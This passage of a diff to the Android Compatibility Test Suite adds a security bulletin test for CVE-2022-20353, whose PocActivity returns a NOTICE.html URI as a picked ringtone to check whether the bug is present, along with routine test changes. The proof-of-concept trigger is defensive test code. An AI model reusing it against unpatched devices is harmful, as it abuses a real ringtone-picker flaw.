--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Resources mResources;
+ UiDevice mDevice;
+ Context mContext;
+
+ // Wait for UiObject to appear and click on the UiObject if it is visible
+ private boolean clickUiObject(BySelector selector) {
+ boolean objectFound =
+ mDevice.wait(Until.hasObject(selector), mResources.getInteger(R.integer.timeoutMs));
+ if (objectFound) {
+ mDevice.findObject(selector).click();
+ }
+ return objectFound;
+ }
+
+ @Test
+ public void testDefaultRingtonePreference() {
+ String defaultRingtone = null;
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getInstrumentation().getContext();
+ mResources = mContext.getResources();
+ defaultRingtone =
+ mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+
+ Intent intent = new Intent(Settings.ACTION_SOUND_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ String settingsPackageName =
+ intent.resolveActivity(mContext.getPackageManager()).getPackageName();
+ Context settingsContext = mContext.createPackageContext(settingsPackageName,
+ Context.CONTEXT_IGNORE_SECURITY);
+ Resources res = settingsContext.getPackageManager()
+ .getResourcesForApplication(settingsPackageName);
+ String text = settingsContext
+ .getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ // scroll until text 'Phone ringtone' is visible
+ UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+ uiScrollable.scrollTextIntoView(text);
+ // click on 'Phone ringtone'
+ BySelector selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+ clickUiObject(selector));
+ // select CTS PoC app
+ text = mContext.getString(R.string.appName);
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+ clickUiObject(selector));
+ // select 'Always'
+ String resId = mContext.getString(R.string.alwaysButtonId);
+ selector = By.res(resId);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, resId),
+ clickUiObject(selector));
+
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener sharedPrefListener =
+ new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(mContext.getString(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+ // wait for PocActivity to complete
+ assumeTrue(preferenceChanged.tryAcquire(mResources.getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(mContext.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(mContext.getString(R.string.messageKey),
+ mContext.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+ String ringtoneUri = "";
+ boolean isVulnerable = false;
+ long startTime = System.currentTimeMillis();
+ while ((System.currentTimeMillis() - startTime) < mResources
+ .getInteger(R.integer.timeoutMs)) {
+ ringtoneUri =
+ mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+ if (ringtoneUri.contains(mContext.getString(R.string.fileName))) {
+ isVulnerable = true;
+ break;
+ }
+ }
+ assertFalse(mContext.getString(R.string.failureMessage), isVulnerable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // reset ringtone to default (other than 'null') present before test
+ mDevice.executeShellCommand(
+ mContext.getString(R.string.setRingtoneCmd) + " " + defaultRingtone);
+ mDevice.pressHome();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
new file mode 100644
index 00000000000..977e647d2e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.media.RingtoneManager;
+import android.net.Uri;
+import android.os.Bundle;
+
+/* PocActivity is required in this test since it is required that CTS PoC app is selected when */
+/* choosing an app for setting default ringtone. RingtonePicker appears due to actions done in */
+/* DeviceTest. */
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent();
+ /* set NOTICE.html file uri as EXTRA_RINGTONE_PICKED_URI which sets NOTICE.html as */
+ /* default ringtone if vulnerability is present */
+ intent.putExtra(RingtoneManager.EXTRA_RINGTONE_PICKED_URI,
+ Uri.parse(getString(R.string.noticeUri)));
+ setResult(Activity.RESULT_OK, intent);
+ finish();
+ sendTestResult(getResources().getInteger(R.integer.success), "");
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ }
+
+ void sendTestResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+
+}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 8d5df1bb754..1edc04144ed 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -884,7 +884,7 @@ public class StagedInstallTest {
@Test
public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception {
stageSingleApk(TestApp.A1).assertSuccessful();
- int sessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+ int sessionId = stageSingleApk(TestApp.B1).assertFailure().getSessionId();
PackageInstaller.SessionInfo info = getSessionInfo(sessionId);
assertThat(info).isStagedSessionFailed();
assertThat(info.getStagedSessionErrorMessage()).contains(
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index e98eeda39c9..73ceea1b960 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -536,6 +536,9 @@ public class StagedInstallTest extends BaseHostJUnit4Test {
@Test
public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
+ assumeTrue("Device does not support file-system checkpoint",
+ mHostUtils.isCheckpointSupported());
+
runPhase("testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk");
}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
index c7feda651c3..f07f9d34e64 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -61,12 +61,13 @@ public class AppOpsTests extends DeviceTestCase implements IBuildReceiver {
protected void setUp() throws Exception {
super.setUp();
- mTransformedFromOp.clear();
- // The hotword op is allowed to all UIDs on TV and Auto devices.
- if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)
- || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) {
- mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
- }
+ // Temporarily commented out until the Trusted Hotword requirement is enforced again.
+ // mTransformedFromOp.clear();
+ // // The hotword op is allowed to all UIDs on TV and Auto devices.
+ // if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)
+ // || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) {
+ // mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
+ // }
assertThat(mCtsBuild).isNotNull();
ConfigUtils.removeConfig(getDevice());
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
index 23ffc03e686..7f29d44673c 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -68,9 +68,7 @@ public final class ConfigUtils {
.setId(CONFIG_ID)
.addAllowedLogSource("AID_SYSTEM")
.addAllowedLogSource("AID_BLUETOOTH")
- // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
- .addAllowedLogSource("com.android.bluetooth.services")
- .addAllowedLogSource("com.google.android.bluetooth.services")
+ .addAllowedLogSource("com.android.bluetooth")
.addAllowedLogSource("AID_LMKD")
.addAllowedLogSource("AID_MEDIA")
.addAllowedLogSource("AID_RADIO")
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
index a6aaebf9916..68a71355e81 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
@@ -28,9 +28,11 @@ import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported;
import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported.Event;
import com.android.os.StatsLog;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.Pair;
import java.util.Arrays;
import java.util.List;
@@ -104,6 +106,11 @@ public class SizeCompatRestartButtonStatsTests extends DeviceTestCase implements
return;
}
+ Pair<Integer, Integer> displaySizeClosed = getDisplayRealSize(getDevice());
+ if (displaySizeClosed == null) {
+ CLog.i("Could not determine display size while CLOSED.");
+ return;
+ }
try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
DeviceUtils.STATSD_ATOM_TEST_PKG, NON_RESIZEABLE_PORTRAIT_ACTIVITY, "action",
"action.sleep_top")) {
@@ -112,6 +119,15 @@ public class SizeCompatRestartButtonStatsTests extends DeviceTestCase implements
Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
}
+ Pair<Integer, Integer> displaySizeOpened = getDisplayRealSize(getDevice());
+ if (displaySizeOpened == null) {
+ CLog.i("Could not determine display size while OPENED.");
+ return;
+ }
+ if (displaySizeClosed.equals(displaySizeOpened)) {
+ CLog.i("Display size has not changed.");
+ return;
+ }
List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
assertThat(data.size()).isEqualTo(1);
@@ -127,4 +143,25 @@ public class SizeCompatRestartButtonStatsTests extends DeviceTestCase implements
.map(Integer::valueOf)
.anyMatch(availableState -> availableState == state);
}
+
+ /**
+ * Returns the physical size of the current display used.
+ */
+ private Pair<Integer, Integer> getDisplayRealSize(ITestDevice device) throws Exception {
+ final String physicalSize = "Physical size: ";
+ String str = device.executeShellCommand("wm size");
+ if (!str.isEmpty()) {
+ String[] lines = str.split(System.getProperty("line.separator"));
+ for (String s : lines) {
+ if (s.contains(physicalSize)) {
+ String substring = s.substring(physicalSize.length());
+ if (!substring.isEmpty()) {
+ return Pair.create(Integer.parseInt(substring.split("x")[0]),
+ Integer.parseInt(substring.split("x")[1]));
+ }
+ }
+ }
+ }
+ return null;
+ }
}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 33422c1cec4..42b9b5c9cd7 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -598,30 +598,25 @@ public class UidAtomTests extends DeviceTestCase implements IBuildReceiver {
final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
- Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
- Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
-
- // Add state sets to the list in order.
- List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100);
-
ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
atomTag);
DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScreenBrightness");
- // Sorted list of events in order in which they occurred.
- List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ List<Integer> expectedValues = Arrays.asList(47, 100);
+
+ // Sorted list of brightness values in order in which they occurred, filtered to only
+ // contain expectedValues if they are present.
+ List<Integer> data = ReportUtils.getEventMetricDataList(getDevice())
+ .stream()
+ .map(e -> e.getAtom().getScreenBrightnessChanged().getLevel())
+ .filter(expectedValues::contains)
+ .collect(Collectors.toList());
// Restore initial screen brightness
setScreenBrightness(initialBrightness);
setScreenBrightnessMode(isInitialManual);
- AtomTestUtils.popUntilFind(data, screenMin,
- atom -> atom.getScreenBrightnessChanged().getLevel());
- AtomTestUtils.popUntilFindFromEnd(data, screen100,
- atom -> atom.getScreenBrightnessChanged().getLevel());
- // Assert that the events happened in the expected order.
- AtomTestUtils.assertStatesOccurredInOrder(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
- atom -> atom.getScreenBrightnessChanged().getLevel());
+ assertThat(data).containsExactlyElementsIn(expectedValues).inOrder();
}
public void testSyncState() throws Exception {
diff --git a/tests/PhotoPicker/TEST_MAPPING b/tests/PhotoPicker/TEST_MAPPING
index f48e90cf2a3..2a55a282417 100644
--- a/tests/PhotoPicker/TEST_MAPPING
+++ b/tests/PhotoPicker/TEST_MAPPING
@@ -1,6 +1,26 @@
{
+ "mainline-presubmit": [
+ {
+ "name": "CtsPhotoPickerTest[com.google.android.mediaprovider.apex]",
+ "options": [
+ {
+ "exclude-annotation": "androidx.test.filters.LargeTest"
+ }
+ ]
+ }
+ ],
"presubmit": [
{
+ "name": "CtsPhotoPickerTest",
+ "options": [
+ {
+ "exclude-annotation": "androidx.test.filters.LargeTest"
+ }
+ ]
+ }
+ ],
+ "postsubmit": [
+ {
"name": "CtsPhotoPickerTest"
}
]
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
new file mode 100644
index 00000000000..c7824bb2520
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
+import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertReadOnlyAccess;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUriAndPath;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findAndClickBrowse;
+
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ClipData;
+import android.content.Intent;
+import android.net.Uri;
+import android.photopicker.cts.util.GetContentActivityAliasUtils;
+import android.photopicker.cts.util.PhotoPickerUiUtils;
+import android.util.Pair;
+
+import androidx.test.uiautomator.UiObject;
+import androidx.test.uiautomator.UiObjectNotFoundException;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Photo Picker tests for PhotoPicker launched via {@link Intent#ACTION_GET_CONTENT} intent
+ * exclusively.
+ */
+public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
+
+ public static final String TAG = "ActionGetContentOnlyTest";
+
+ private static String sDocumentsUiPackageName;
+ private static int sGetContentTakeOverActivityAliasState;
+
+ private List<Uri> mUriList = new ArrayList<>();
+
+ @After
+ public void tearDown() throws Exception {
+ for (Uri uri : mUriList) {
+ deleteMedia(uri, mContext);
+ }
+ mUriList.clear();
+
+ if (mActivity != null) {
+ mActivity.finish();
+ }
+ }
+
+ @BeforeClass
+ public static void setUpBeforeClass() throws Exception {
+ sDocumentsUiPackageName = getDocumentsUiPackageName();
+ sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+
+ clearPackageData(sDocumentsUiPackageName);
+ }
+
+ @AfterClass
+ public static void tearDownAfterClass() throws Exception {
+ GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ }
+
+ @Test
+ public void testMimeTypeFilter() throws Exception {
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ intent.setType("audio/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mDevice.waitForIdle();
+ // Should open documentsUi
+ assertThatShowsDocumentsUiButtons();
+
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test that DocumentsUi is opened.
+ }
+
+ @Test
+ public void testExtraMimeTypeFilter() throws Exception {
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ intent.setType("image/*");
+ intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"video/*", "audio/*"});
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mDevice.waitForIdle();
+ // Should open documentsUi
+ assertThatShowsDocumentsUiButtons();
+
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test that DocumentsUi is opened.
+ }
+
+ @Test
+ public void testBrowse_singleSelect() throws Exception {
+ final int itemCount = 1;
+ List<Pair<Uri, String>> createdImagesData = createImagesAndGetUriAndPath(itemCount,
+ mContext.getUserId(), /* isFavorite */ false);
+
+ final List<String> fileNameList = new ArrayList<>();
+ for (Pair<Uri, String> createdImageData: createdImagesData) {
+ mUriList.add(createdImageData.first);
+ fileNameList.add(createdImageData.second);
+ }
+
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.setType("image/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ findAndClickBrowse(mDevice);
+
+ findAndClickFilesInDocumentsUi(fileNameList);
+
+ final Uri uri = mActivity.getResult().data.getData();
+
+ assertReadOnlyAccess(uri, mContext.getContentResolver());
+ }
+
+ @Test
+ public void testBrowse_multiSelect() throws Exception {
+ final int itemCount = 3;
+ List<Pair<Uri, String>> createdImagesData = createImagesAndGetUriAndPath(itemCount,
+ mContext.getUserId(), /* isFavorite */ false);
+
+ final List<String> fileNameList = new ArrayList<>();
+ for (Pair<Uri, String> createdImageData: createdImagesData) {
+ mUriList.add(createdImageData.first);
+ fileNameList.add(createdImageData.second);
+ }
+
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
+ intent.setType("image/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ findAndClickBrowse(mDevice);
+
+ findAndClickFilesInDocumentsUi(fileNameList);
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(itemCount);
+ for (int i = 0; i < count; i++) {
+ assertReadOnlyAccess(clipData.getItemAt(i).getUri(), mContext.getContentResolver());
+ }
+ }
+
+ @Test
+ public void testChooserIntent_mediaFilter() throws Exception {
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.setType("image/*");
+ mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
+
+ // Should open Picker
+ assertThatShowsPickerUi();
+ }
+
+ @Test
+ public void testChooserIntent_nonMediaFilter() throws Exception {
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.setType("*/*");
+ mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
+
+ // Should open DocumentsUi
+ assertThatShowsDocumentsUiButtons();
+ }
+
+ @Test
+ public void testPickerSupportedFromDocumentsUi() throws Exception {
+ final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.setType("*/*");
+ mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
+
+ findAndClickMediaIcon();
+
+ // Should open Picker
+ assertThatShowsPickerUi();
+ }
+
+ private void findAndClickMediaIcon() throws Exception {
+ final UiSelector appList = new UiSelector().resourceId(sDocumentsUiPackageName
+ + ":id/apps_row");
+
+ // Wait for the first app list item to appear
+ assertWithMessage("Waiting for app list to appear in DocumentsUi").that(
+ new UiObject(appList).waitForExists(SHORT_TIMEOUT)).isTrue();
+
+ String photoPickerAppName = "Media";
+ UiObject mediaButton = mDevice.findObject(new UiSelector().text(photoPickerAppName));
+
+ assertWithMessage("Timed out waiting for " + photoPickerAppName + " app icon to appear")
+ .that(new UiScrollable(appList).scrollIntoView(mediaButton)).isTrue();
+ mDevice.waitForIdle();
+
+ clickAndWait(mDevice, mediaButton);
+ }
+
+ private void assertThatShowsPickerUi() {
+ // Assert that Search bar for DocumentsUi shows
+ // Add a short timeout wait for DocumentsUi to show
+ assertThat(new UiObject(new UiSelector().resourceIdMatches(
+ PhotoPickerUiUtils.REGEX_PACKAGE_NAME + ":id/bottom_sheet"))
+ .waitForExists(SHORT_TIMEOUT)).isTrue();
+
+ // Assert that "Recent files" header for DocumentsUi shows
+ assertThat(new UiObject(new UiSelector().resourceIdMatches(
+ PhotoPickerUiUtils.REGEX_PACKAGE_NAME + ":id/privacy_text"))
+ .exists()).isTrue();
+
+ // Assert that Documents list UiObject for DocumentsUi shows
+ assertThat(new UiObject(new UiSelector().text("Photos")).exists()).isTrue();
+ assertThat(new UiObject(new UiSelector().text("Albums")).exists()).isTrue();
+ }
+
+ private void assertThatShowsDocumentsUiButtons() {
+ // Assert that "Recent files" header for DocumentsUi shows
+ // Add a short timeout wait for DocumentsUi to show
+ assertThat(new UiObject(new UiSelector().resourceId(sDocumentsUiPackageName
+ + ":id/header_title")).waitForExists(SHORT_TIMEOUT)).isTrue();
+ }
+
+ private UiObject findSaveButton() {
+ return new UiObject(new UiSelector().resourceId(
+ sDocumentsUiPackageName + ":id/container_save")
+ .childSelector(new UiSelector().resourceId("android:id/button1")));
+ }
+
+ private void findAndClickFilesInDocumentsUi(List<String> fileNameList) throws Exception {
+ for (String fileName : fileNameList) {
+ findAndClickFileInDocumentsUi(fileName);
+ }
+ findAndClickSelect();
+ }
+
+ private void findAndClickSelect() throws Exception {
+ final UiObject selectButton = new UiObject(new UiSelector().resourceId(
+ sDocumentsUiPackageName + ":id/action_menu_select"));
+ clickAndWait(mDevice, selectButton);
+ }
+
+ private void findAndClickFileInDocumentsUi(String fileName) throws Exception {
+ final UiSelector docList = new UiSelector().resourceId(sDocumentsUiPackageName
+ + ":id/dir_list");
+
+ // Wait for the first list item to appear
+ assertWithMessage("First list item").that(
+ new UiObject(docList.childSelector(new UiSelector()))
+ .waitForExists(SHORT_TIMEOUT)).isTrue();
+
+ try {
+ // Enforce to set the list mode
+ // Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item)
+ // in grid mode when screen landscape mode
+ clickAndWait(mDevice, new UiObject(new UiSelector().resourceId(sDocumentsUiPackageName
+ + ":id/sub_menu_list")));
+ } catch (UiObjectNotFoundException ignored) {
+ // Do nothing, already be in list mode.
+ }
+
+ // Repeat swipe gesture to find our item
+ // (UiScrollable#scrollIntoView does not seem to work well with SwipeRefreshLayout)
+ UiObject targetObject = new UiObject(docList.childSelector(new UiSelector()
+ .textContains(fileName)));
+ UiObject saveButton = findSaveButton();
+ int stepLimit = 10;
+ while (stepLimit-- > 0) {
+ if (targetObject.exists()) {
+ boolean targetObjectFullyVisible = !saveButton.exists()
+ || targetObject.getVisibleBounds().bottom
+ <= saveButton.getVisibleBounds().top;
+ if (targetObjectFullyVisible) {
+ break;
+ }
+ }
+
+ mDevice.swipe(/* startX= */ mDevice.getDisplayWidth() / 2,
+ /* startY= */ mDevice.getDisplayHeight() / 2,
+ /* endX= */ mDevice.getDisplayWidth() / 2,
+ /* endY= */ 0,
+ /* steps= */ 40);
+ }
+
+ targetObject.longClick();
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
new file mode 100644
index 00000000000..0f61dc74bbc
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPersistedGrant;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
